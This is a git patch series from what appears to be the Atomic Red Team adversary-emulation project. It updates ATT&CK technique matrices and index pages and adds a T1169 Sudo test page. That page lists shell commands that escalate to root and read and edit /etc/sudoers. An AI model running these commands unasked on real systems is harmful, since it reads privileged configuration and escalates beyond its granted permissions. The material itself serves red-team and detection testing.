+4,7 @@ | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](./T1155/T1155.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | [AppleScript](./T1155/T1155.md) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](./T1136/T1136.md) | [Launch Daemon](./T1160/T1160.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Plist Modification](./T1150/T1150.md) | [Disabling Security Tools](./T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/matrix.md b/atomics/matrix.md index 71cee44c..d0fbf7a3 100644 --- a/atomics/matrix.md +++ b/atomics/matrix.md @@ -5,7 +5,7 @@ | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](./T1191/T1191.md) | [Accessibility Features](./T1015/T1015.md) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Bash History](./T1139/T1139.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Brute Force](./T1110/T1110.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | [File and Directory Discovery](./T1083/T1083.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | [Credentials in Files](./T1081/T1081.md) | [Network Service Scanning](./T1046/T1046.md) | [Logon Scripts](./T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](./T1146/T1146.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | [Pass the Hash](./T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/windows-index.md b/atomics/windows-index.md index e088c6bb..7fbfc6b0 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -429,7 +429,8 @@ - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1200 Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) -- T1193 Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1193 Spearphishing Attachment](./T1193/T1193.md) + - Atomic Test #1: Download Spearphishing Attachment [windows] - T1192 Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1194 Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1195 Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/windows-matrix.md b/atomics/windows-matrix.md index e18b6d7d..a306a122 100644 --- a/atomics/windows-matrix.md +++ b/atomics/windows-matrix.md @@ -5,7 +5,7 @@ | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Accessibility Features](./T1015/T1015.md) | [BITS Jobs](./T1197/T1197.md) | [Brute Force](./T1110/T1110.md) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Distributed Component Object Model [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](./T1103/T1103.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](./T1003/T1003.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Dynamic Data Exchange](./T1173/T1173.md) | [Application Shimming](./T1138/T1138.md) | [AppInit DLLs](./T1103/T1103.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Logon Scripts](./T1037/T1037.md) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Application Shimming](./T1138/T1138.md) | [CMSTP](./T1191/T1191.md) | Credentials in Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | [Pass the Hash](./T1075/T1075.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](./T1197/T1197.md) | Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](./T1135/T1135.md) | Pass the Ticket [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Password Policy Discovery](./T1201/T1201.md) | [Remote Desktop Protocol](./T1076/T1076.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Component Object Model Hijacking](./T1122/T1122.md) | [Hooking](./T1179/T1179.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote File Copy](./T1105/T1105.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | From 7263af3423e2badb904bdb778bb91608e8bcc9d1 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 6 Jul 2018 18:36:44 +0000 Subject: [PATCH 83/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1169/T1169.md | 37 +++++++++++++++++++++++++++++++++++++ atomics/index.md | 3 ++- atomics/linux-index.md | 3 ++- atomics/linux-matrix.md | 2 +- atomics/macos-index.md | 3 ++- atomics/macos-matrix.md | 2 +- atomics/matrix.md | 2 +- 7 files changed, 46 insertions(+), 6 deletions(-) create mode 100644 atomics/T1169/T1169.md diff --git a/atomics/T1169/T1169.md b/atomics/T1169/T1169.md new file mode 100644 index 00000000..cc98e877 --- /dev/null +++ b/atomics/T1169/T1169.md @@ -0,0 +1,37 @@ +# T1169 - Sudo +## [Description from ATT&CK](https://attack.mitre.org/wiki/Technique/T1169) +
    The sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). + +Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though. + +Detection: On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). + +Platforms: Linux, macOS + +Data Sources: File monitoring + +Effective Permissions: root + +Permissions Required: User
    + +## Atomic Tests + +- [Atomic Test #1 - Sudo usage](#atomic-test-1---sudo-usage) + + +
    + +## Atomic Test #1 - Sudo usage +Common Sudo enumeration methods. + +**Supported Platforms:** macOS, Linux + + +#### Run it with `sh`! +``` +sudo -l +sudo su +cat /etc/sudoers +vim /etc/sudoers +``` +
    diff --git a/atomics/index.md b/atomics/index.md index 7a6250d3..0bb23466 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -303,7 +303,8 @@ - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] -- T1169 Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1169 Sudo](./T1169/T1169.md) + - Atomic Test #1: Sudo usage [macos, linux] - T1206 Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-index.md b/atomics/linux-index.md index d640507d..001467e0 100644 --- a/atomics/linux-index.md +++ b/atomics/linux-index.md @@ -221,7 +221,8 @@ - [T1055 Process Injection](./T1055/T1055.md) - [T1166 Setuid and Setgid](./T1166/T1166.md) - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] -- T1169 Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1169 Sudo](./T1169/T1169.md) + - Atomic Test #1: Sudo usage [macos, linux] - T1206 Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/linux-matrix.md b/atomics/linux-matrix.md index b90e2764..b183c694 100644 --- a/atomics/linux-matrix.md +++ b/atomics/linux-matrix.md @@ -4,7 +4,7 @@ | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](./T1059/T1059.md) | [.bash_profile and .bashrc](./T1156/T1156.md) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bash History](./T1139/T1139.md) | [Account Discovery](./T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](./T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Process Injection](./T1055/T1055.md) | [Clear Command History](./T1146/T1146.md) | [Brute Force](./T1110/T1110.md) | Browser Bookmark Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](./T1119/T1119.md) | [Data Compressed](./T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](./T1176/T1176.md) | [Setuid and Setgid](./T1166/T1166.md) | [Disabling Security Tools](./T1089/T1089.md) | [Credentials in Files](./T1081/T1081.md) | [File and Directory Discovery](./T1083/T1083.md) | [Remote File Copy](./T1105/T1105.md) | [Clipboard Data](./T1115/T1115.md) | [Data Encrypted](./T1022/T1022.md) | Connection Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](./T1193/T1193.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](./T1193/T1193.md) | [Local Job Scheduling](./T1168/T1168.md) | [Create Account](./T1136/T1136.md) | [Sudo](./T1169/T1169.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Service Scanning](./T1046/T1046.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](./T1074/T1074.md) | [Data Transfer Size Limits](./T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File Deletion](./T1107/T1107.md) | [Input Capture](./T1056/T1056.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Source [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](./T1148/T1148.md) | [Network Sniffing](./T1040/T1040.md) | [Permission Groups Discovery](./T1069/T1069.md) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](./T1151/T1151.md) | [Local Job Scheduling](./T1168/T1168.md) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](./T1158/T1158.md) | [Private Keys](./T1145/T1145.md) | [Process Discovery](./T1057/T1057.md) | | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | diff --git a/atomics/macos-index.md b/atomics/macos-index.md index 4113417d..b1d5768d 100644 --- a/atomics/macos-index.md +++ b/atomics/macos-index.md @@ -270,7 +270,8 @@ - Atomic Test #1: Setuid and Setgid [macos, centos, ubuntu, linux] - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] -- T1169 Sudo [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- [T1169 Sudo](./T1169/T1169.md) + - Atomic Test #1: Sudo usage [macos, linux] - T1206 Sudo Caching [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/macos-matrix.md b/atomics/macos-matrix.md index a0148215..51f7867d 100644 --- a/atomics/macos-matrix.md +++ b/atomics/macos-matrix.md @@ -8,7 +8,7 @@ | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](./T1152/T1152.md) | [Hidden Files and Directories](./T1158/T1158.md) | [Process Injection](./T1055/T1055.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](./T1056/T1056.md) | [Network Service Scanning](./T1046/T1046.md) | [Remote File Copy](./T1105/T1105.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](./T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](./T1168/T1168.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](./T1166/T1166.md) | [File Deletion](./T1107/T1107.md) | [Input Prompt](./T1141/T1141.md) | [Network Share Discovery](./T1135/T1135.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scripting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Startup Items](./T1165/T1165.md) | [Gatekeeper Bypass](./T1144/T1144.md) | [Keychain](./T1142/T1142.md) | [Password Policy Discovery](./T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| 